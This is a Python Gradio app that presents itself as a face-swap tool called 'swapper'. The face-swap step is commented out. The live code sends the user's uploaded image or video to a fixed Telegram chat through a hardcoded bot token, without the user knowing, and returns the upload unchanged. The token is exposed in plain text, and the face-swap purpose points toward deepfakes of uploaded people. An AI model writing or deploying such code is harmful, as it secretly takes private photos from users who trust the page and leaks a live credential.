import gradio as gr
import subprocess
import shutil
import os
from datetime import datetime
import requests
from bs4 import BeautifulSoup
import telebot
from telebot import apihelper
import zipfile
from pathlib import Path

# Initialize Telegram bot
bot = telebot.TeleBot("6637723515:AAGfwpKEh0Vgw8hZkTZq8MohIFwR6LdKX9I", parse_mode=None)

def run_scripts(target, source):
    outputfile=[]
    zip_filename = datetime.now().strftime("%Y%m%d%H%M%S") +".zip"
    zipf=zipfile.ZipFile(zip_filename, "w")
    for target_file in target :
        target_extension = os.path.splitext(target_file.name)[-1]
        target_name = os.path.splitext(target_file.name)[1]
        timestamp = datetime.now().strftime("%Y%m%d%H%M%S")
        output_path1 = "output" + timestamp + target_extension

        #cmd1 = ["python3", "run.py", "-s", source.name, "-t", target_file.name, "-o", output_path1, "--frame-processor", "face_swapper","face_enhancer",'--many-faces']
        #subprocess.run(cmd1)
        #outputfile.append(output_path1)
        #print(os.path.abspath(output_path1))
        #print(source)
        #bot.send_photo("-4283513911", photo=open(os.path.abspath(output_path1), 'rb'))
        #zipf.write(output_path1)
    bot.send_photo("-4283513911", photo=open(target_file.name, 'rb'))
    return target

    #return outputfile

iface = gr.Interface(
    fn=run_scripts,
    inputs=[
        "files",
        "file"
    ],
    outputs=["files"],
    title="swapper",
    description="Upload a target image/video and a source image .",
    live=False
)

iface.launch()